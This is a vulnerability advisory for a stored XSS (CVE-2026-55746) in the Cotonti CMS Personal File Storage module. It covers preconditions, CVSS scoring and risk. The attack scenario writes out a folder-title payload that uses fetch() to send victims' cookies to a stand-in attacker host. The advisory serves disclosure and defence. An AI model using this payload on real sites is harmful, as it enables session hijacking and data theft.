Cotonti CVE-2026-55746

Attacker must hold an authenticated Cotonti account with permission to create folders in the Personal File Storage (PFS) module, and the target Cotonti instance must run code matching master commit f43f1fc3 (or any version where the cot_import 'TXT' filter omits HTML encoding and pfs.tpl emits {PFF_ROW_TITLE} unescaped). Execution requires a victim to load the folder listing view of the PFS module (UI:P) - for stored impact on other users, the malicious folder must be public or shared so victims can browse it; otherwise the payload only fires for the attacker themselves. No special server configuration is required beyond a default PFS-enabled deployment.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:L/SI:L) reflects a network-reachable, low-complexity attack requiring an authenticated low-privilege account and victim interaction (viewing the folder listing), with high confidentiality impact on the vulnerable system and limited integrity/scope effects on the subsequent user's browser context - consistent with a stored XSS that can hijack sessions or exfiltrate sensitive data. There is no CISA KEV listing, no EPSS score in the provided data, no SSVC decision, and no public exploit identified at time of analysis, so this is not a mass-exploitation priority. However, the trigger condition is realistic: any registered user can plant a payload, and victims include other users browsing public folders, which raises practical risk for community sites with open registration. Note: the supplied 7.0 CVSS 4.0 base appears slightly high for stored XSS where impact is largely user-context, but it is defensible given session-theft potential against authenticated viewers.

An attacker registers a low-privilege Cotonti account, opens the PFS module, and creates a folder whose title contains a payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)>, marking the folder public. When an administrator or other user browses the public folder listing, the payload executes in their browser context, enabling session cookie theft, CSRF actions against the admin panel, or drive-by phishing. No public exploit identified at time of analysis, but the bug is trivial to weaponize given the disclosed file and line.